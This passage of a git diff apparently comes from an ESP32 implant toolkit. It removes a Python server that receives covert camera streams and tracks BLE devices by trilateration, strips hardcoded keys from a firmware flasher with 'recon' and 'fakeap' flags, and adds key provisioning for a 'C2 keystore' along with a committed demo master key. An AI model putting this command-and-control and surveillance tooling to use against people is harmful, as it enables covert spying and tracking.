request.content_type == "text/plain": - raw_data = request.data.decode("utf-8").strip() - print(f"[RAW POST] {raw_data}") - handle_trilateration_data(raw_data) - return jsonify({"status": "OK"}) - - # Sinon : rejet explicite - return "Unsupported Media Type", 415 - - -@app.route("/trilateration") -def trilateration_view(): - point = get_latest_position() - return render_template("trilateration.html", point=point, anchors=esp_positions) - - - - -# === UDP Server pour recevoir les flux === -def udp_receiver(): - global udp_sock, video_writer, video_writer_size - udp_sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) - udp_sock.bind((UDP_IP, UDP_PORT)) - print(f"[UDP] En écoute sur {UDP_IP}:{UDP_PORT}") - - while not stop_udp_event.is_set(): - try: - udp_sock.settimeout(1.0) - try: - data, addr = udp_sock.recvfrom(BUFFER_SIZE) - except socket.timeout: - continue - - # Vérifie le token - if not data.startswith(SECRET_TOKEN): - print(f"[SECURITE] Token invalide de {addr}") - continue - data = data[len(SECRET_TOKEN):] # Retire le token - - npdata = np.frombuffer(data, np.uint8) - frame = cv2.imdecode(npdata, cv2.IMREAD_COLOR) - - if frame is not None: - print(f"[DEBUG] Frame shape: {frame.shape}") - filename = f"{addr[0]}_{addr[1]}.jpg" - filepath = os.path.join(IMAGE_DIR, filename) - cv2.imwrite(filepath, frame) - - # --- Ajout pour l'enregistrement vidéo --- - if video_writer is None: - video_writer_size = (frame.shape[1], frame.shape[0]) - fourcc = cv2.VideoWriter_fourcc(*'MJPG') - video_writer = cv2.VideoWriter(VIDEO_PATH, fourcc, video_writer_fps, video_writer_size) - if not video_writer.isOpened(): - print("[ERREUR] VideoWriter n'a pas pu être ouvert !") - - if video_writer is not None: - video_writer.write(frame) - - except Exception as e: - print(f"[ERREUR] {e}") - if video_writer is not None: - video_writer.release() - video_writer = None - udp_sock.close() - udp_sock = None - -def rssi_to_distance(rssi): - return 10 ** ((TX_POWER - rssi) / (10 * ENV_FACTOR)) - -def trilaterate(p1, r1, p2, r2, p3, r3): - x1, y1 = p1 - x2, y2 = p2 - x3, y3 = p3 - - A = 2 * (x2 - x1) - B = 2 * (y2 - y1) - C = r1**2 - r2**2 - x1**2 + x2**2 - y1**2 + y2**2 - - D = 2 * (x3 - x2) - E = 2 * (y3 - y2) - F = r2**2 - r3**2 - x2**2 + x3**2 - y2**2 + y3**2 - - denominator = A * E - B * D - if denominator == 0: - raise Exception("Trilatération impossible") - - x = (C * E - B * F) / denominator - y = (A * F - C * D) / denominator - - return (x, y) - - -def handle_trilateration_data(text): - global latest_observations, trilat_points, position_history, esp_positions - - try: - esp_id, coord_str, rssi_str = text.split(";") - x_str, y_str = coord_str.split(",") - x, y = float(x_str), float(y_str) - rssi = float(rssi_str) - dist = rssi_to_distance(rssi) - - latest_observations[esp_id] = ((x, y), dist) - esp_positions[esp_id] = (x, y, dist) # ✅ essentiel pour affichage - - print(f"[OBS] Reçu de {esp_id} → pos=({x}, {y}), rssi={rssi}, dist={dist:.2f}") - - if len(latest_observations) >= 3: - anchors = list(latest_observations.values())[:3] - pos = trilaterate(*anchors[0], *anchors[1], *anchors[2]) - position_history.append(pos) - - avg_x = sum(p[0] for p in position_history) / len(position_history) - avg_y = sum(p[1] for p in position_history) / len(position_history) - trilat_points = [(avg_x, avg_y)] - - print(f"[TRILAT] Moyenne position : ({avg_x:.3f}, {avg_y:.3f})") - except Exception as e: - print(f"[ERREUR PARSING] {text} → {e}") - - -def get_latest_position(): - return trilat_points[-1] if trilat_points else None - - - - -def _run_flask(): - app.run(host="0.0.0.0", port=8000, debug=False, use_reloader=False) - -def start_cam_server(): - global udp_thread, flask_thread, stop_udp_event - if udp_thread and udp_thread.is_alive(): - print("[INFO] UDP server déjà démarré.") - else: - stop_udp_event.clear() - udp_thread = threading.Thread(target=udp_receiver, daemon=True) - udp_thread.start() - print("[INFO] UDP server démarré.") - - if flask_thread and flask_thread.is_alive(): - print("[INFO] Flask server déjà démarré.") - else: - flask_thread = threading.Thread(target=_run_flask, daemon=True) - flask_thread.start() - print("[INFO] Flask server démarré sur http://0.0.0.0:8000.") - - -def stop_cam_server(): - global stop_udp_event, udp_sock, video_writer - print("[INFO] Arrêt du serveur UDP...") - stop_udp_event.set() - if udp_sock: - try: - udp_sock.close() - except Exception: - pass - udp_sock = None - if video_writer is not None: - video_writer.release() - print("[DEBUG] VideoWriter released") - video_writer = None - print("[INFO] Serveur UDP arrêté.") - - # Suppression des fichiers .jpg - for f in os.listdir(IMAGE_DIR): - if f.endswith(".jpg"): - try: - os.remove(os.path.join(IMAGE_DIR, f)) - except Exception as e: - print(f"[ERREUR] Impossible de supprimer {f}: {e}") - -if __name__ == "__main__": - start_cam_server() - try: - while True: - pass # Le serveur Flask et le thread UDP fonctionnent en arrière-plan - except KeyboardInterrupt: - stop_cam_server() - print("[INFO] Serveur arrêté.") \ No newline at end of file diff --git a/tools/flasher/flash.py b/tools/flasher/flash.py index b0384fc..fc85e89 100644 --- a/tools/flasher/flash.py +++ b/tools/flasher/flash.py @@ -45,9 +45,7 @@ class Device: recon_camera: bool = False recon_ble_trilat: bool = False - # Security - crypto_key: str = "testde32chars00000000000000000000" - crypto_nonce: str = "noncenonceno" + # Security (master key provisioned separately via provision.py) def __post_init__(self): """Generate hostname if not provided""" @@ -137,9 +135,7 @@ class Device: module_recon=data.get("module_recon", False), module_fakeap=data.get("module_fakeap", False), recon_camera=data.get("recon_camera", False), - recon_ble_trilat=data.get("recon_ble_trilat", False), - crypto_key=data.get("crypto_key", "testde32chars00000000000000000000"), - crypto_nonce=data.get("crypto_nonce", "noncenonceno") + recon_ble_trilat=data.get("recon_ble_trilat", False) ) def __str__(self): @@ -186,9 +182,7 @@ class FirmwareBuilder: config_lines.append(f'CONFIG_SERVER_IP="{device.srv_ip}"') config_lines.append(f'CONFIG_SERVER_PORT={device.srv_port}') - # Security - config_lines.append(f'CONFIG_CRYPTO_KEY="{device.crypto_key}"') - config_lines.append(f'CONFIG_CRYPTO_NONCE="{device.crypto_nonce}"') + # Security (master key provisioned via provision.py into factory NVS) # Modules config_lines.append(f'CONFIG_MODULE_NETWORK={"y" if device.module_network else "n"}') @@ -200,8 +194,15 @@ class FirmwareBuilder: config_lines.append(f'CONFIG_RECON_MODE_CAMERA={"y" if device.recon_camera else "n"}') config_lines.append(f'CONFIG_RECON_MODE_BLE_TRILAT={"y" if device.recon_ble_trilat else "n"}') - # System settings + # Crypto: ChaCha20-Poly1305 + HKDF (mbedtls legacy API, ESP-IDF v5.3) config_lines.append("CONFIG_MBEDTLS_CHACHA20_C=y") + config_lines.append("CONFIG_MBEDTLS_POLY1305_C=y") + config_lines.append("CONFIG_MBEDTLS_CHACHAPOLY_C=y") + config_lines.append("CONFIG_MBEDTLS_HKDF_C=y") + + # Partition table (custom with factory NVS) + config_lines.append("CONFIG_PARTITION_TABLE_CUSTOM=y") + config_lines.append('CONFIG_PARTITION_TABLE_CUSTOM_FILENAME="partitions.csv"') config_lines.append("CONFIG_LWIP_IPV4_NAPT=y") config_lines.append("CONFIG_LWIP_IPV4_NAPT_PORTMAP=y") config_lines.append("CONFIG_LWIP_IP_FORWARD=y") @@ -402,10 +403,7 @@ Examples: # Optional settings parser.add_argument("--hostname", type=str, help="Device hostname (random if not specified)") - parser.add_argument("--crypto-key", type=str, default="testde32chars00000000000000000000", - help="ChaCha20 key (32 chars)") - parser.add_argument("--crypto-nonce", type=str, default="noncenonceno", - help="ChaCha20 nonce (12 chars)") + # Crypto keys are now provisioned separately via provision.py # Modules parser.add_argument("--enable-recon", action="store_true", help="Enable recon module") @@ -452,9 +450,7 @@ Examples: module_recon=args.enable_recon, module_fakeap=args.enable_fakeap, recon_camera=args.enable_camera, - recon_ble_trilat=args.enable_ble_trilat, - crypto_key=args.crypto_key, - crypto_nonce=args.crypto_nonce + recon_ble_trilat=args.enable_ble_trilat ) devices = [device] print(f"📋 Manual device configuration: {device}") diff --git a/tools/provisioning/devices/espilon-demo.csv b/tools/provisioning/devices/espilon-demo.csv new file mode 100644 index 0000000..5131ef3 --- /dev/null +++ b/tools/provisioning/devices/espilon-demo.csv @@ -0,0 +1,3 @@ +key,type,encoding,value +crypto,namespace,, +master_key,data,hex2bin,0d99c1e0e86eb289b51c7e11bf913feb5180b1d266aade18466a3ef591c4986c diff --git a/tools/provisioning/provision.py b/tools/provisioning/provision.py new file mode 100644 index 0000000..4afef39 --- /dev/null +++ b/tools/provisioning/provision.py @@ -0,0 +1,212 @@ +#!/usr/bin/env python3 +""" +Epsilon Device Provisioning Tool + +Generates a unique 32-byte master key for an ESP32 device, +flashes it into the factory NVS partition, and registers it +in the C2 keystore. + +Usage: + python provision.py --device-id abc12345 --port /dev/ttyUSB0 + python provision.py --device-id abc12345 --port /dev/ttyUSB0 --keystore ../C3PO/keys.json +""" + +import argparse +import json +import os +import subprocess +import sys +import tempfile + +FCTRY_PARTITION_OFFSET = 0x10000 +FCTRY_PARTITION_SIZE = 0x6000 +NVS_NAMESPACE = "crypto" +NVS_KEY = "master_key" + + +def generate_master_key() -> bytes: + """Generate a cryptographically secure 32-byte master key.""" + return os.urandom(32) + + +def create_nvs_csv(master_key: bytes, csv_path: str) -> None: + """Create a CSV file for nvs_partition_gen with the master key.""" + with open(csv_path, "w") as f: + f.write("key,type,encoding,value\n") + f.write(f"{NVS_NAMESPACE},namespace,,\n") + f.write(f"{NVS_KEY},data,hex2bin,{master_key.hex()}\n") + + +def generate_nvs_binary(csv_path: str, bin_path: str) -> bool: + """Generate NVS partition binary from CSV using nvs_partition_gen.""" + try: + result = subprocess.run( + [ + sys.executable, "-m", "esp_idf_nvs_partition_gen", + "generate", csv_path, bin_path, hex(FCTRY_PARTITION_SIZE), + ], + capture_output=True, + text=True, + timeout=30, + ) + if result.returncode != 0: + # Fallback: try the script directly from ESP-IDF + idf_path = os.environ.get("IDF_PATH", os.path.expanduser("~/esp-idf")) + nvs_tool = os.path.join( + idf_path, "components", "nvs_flash", "nvs_partition_generator", + "nvs_partition_gen.py" + ) + if os.path.exists(nvs_tool): + result = subprocess.run( + [sys.executable, nvs_tool, "generate", + csv_path, bin_path, hex(FCTRY_PARTITION_SIZE)], + capture_output=True, + text=True, + timeout=30, + ) + if result.returncode != 0: + print(f"nvs_partition_gen failed:\n{result.stdout}\n{result.stderr}") + return False + return True + except FileNotFoundError: + print("Error: nvs_partition_gen not found. Ensure ESP-IDF is installed.") + return False + except subprocess.TimeoutExpired: + print("Error: nvs_partition_gen timed out") + return False + + +def flash_partition(port: str, bin_path: str, offset: int) -> bool: + """Flash a binary to the specified partition offset.""" + try: + subprocess.run( + [ + "esptool.py", + "--chip", "esp32", + "--port", port, + "--baud", "460800", + "write_flash", + hex(offset), bin_path, + ], + check=True, + timeout=60, + ) + return True + except subprocess.CalledProcessError as e: + print(f"Flash failed: {e}") + return False + except FileNotFoundError: + print("Error: esptool.py not found. Install with: pip install esptool") + return False + except subprocess.TimeoutExpired: + print("Error: flash timed out") + return False + + +def update_keystore(keystore_path: str, device_id: str, master_key: bytes) -> None: + """Add or update the device's master key in the C2 keystore.""" + keys = {} + if os.path.exists(keystore_path): + try: + with open(keystore_path, "r") as f: + keys = json.load(f) + except (json.JSONDecodeError, ValueError): + pass + + keys[device_id] = master_key.hex() + + with open(keystore_path, "w") as f: + json.dump(keys, f, indent=2) + + print(f"Keystore updated: {keystore_path}") + + +def main(): + parser = argparse.ArgumentParser( + description="Epsilon ESP32 Device Provisioning", + formatter_class=argparse.RawDescriptionHelpFormatter, + epilog=""" +Examples: + # Provision a device and register in default keystore + python provision.py --device-id abc12345 --port /dev/ttyUSB0 + + # Provision with custom keystore path + python provision.py --device-id abc12345 --port /dev/ttyUSB0 \\ + --keystore ../C3PO/keys.json + + # Generate key only (no flash) + python provision.py --device-id abc12345 --no-flash + """, + ) + + parser.add_argument("--device-id", required=True, help="Device ID") + parser.add_argument("--port", help="Serial port (e.g., /dev/ttyUSB0)") + parser.add_argument( + "--keystore", + default=os.path.join(os.path.dirname(__file__), "..", "C3PO", "keys.json"), + help="Path to C2 keystore JSON (default: ../C3PO/keys.json)", + ) + parser.add_argument("--no-flash", action="store_true", + help="Generate key and update keystore without flashing") + parser.add_argument("--key", help="Use a specific hex-encoded 32-byte key instead of random") + + args = parser.parse_args() + + if not args.no_flash and not args.port: + parser.error("--port is required unless --no-flash is specified") + + print(f"{'='*50}") + print(f" Epsilon Device Provisioning") + print(f"{'='*50}") + print(f" Device ID : {args.device_id}") + print(f" Port : {args.port or 'N/A (no-flash)'}") + print(f" Keystore : {args.keystore}") + print(f"{'='*50}") + + # 1) Generate or parse master key + if args.key: + try: + master_key = bytes.fromhex(args.key) + if len(master_key) != 32: + print(f"Error: --key must be 32 bytes (64 hex chars), got {len(master_key)}") + return 1 + except ValueError: + print("Error: --key must be valid hex") + return 1 + print(f" Using provided key: {master_key.hex()[:16]}...") + else: + master_key = generate_master_key() + print(f" Generated key : {master_key.hex()[:16]}...") + + # 2) Flash to device if requested + if not args.no_flash: + with tempfile.TemporaryDirectory() as tmpdir: + csv_path = os.path.join(tmpdir, "fctry.csv") + bin_path = os.path.join(tmpdir, "fctry.bin") + + print("\nGenerating NVS binary...") + create_nvs_csv(master_key, csv_path) + + if not generate_nvs_binary(csv_path, bin_path): + print("Failed to generate NVS binary") + return 1 + + print(f"Flashing factory NVS to {args.port} at {hex(FCTRY_PARTITION_OFFSET)}...") + if not flash_partition(args.port, bin_path, FCTRY_PARTITION_OFFSET): + print("Failed to flash factory NVS") + return 1 + + print("Factory NVS flashed successfully") + + # 3) Update keystore + keystore_path = os.path.abspath(args.keystore) + update_keystore(keystore_path, args.device_id, master_key) + + print(f"\n{'='*50}") + print(f" Provisioning complete for {args.device_id}") + print(f"{'='*50}") + return 0 + + +if __name__ == "__main__": + sys.exit(main())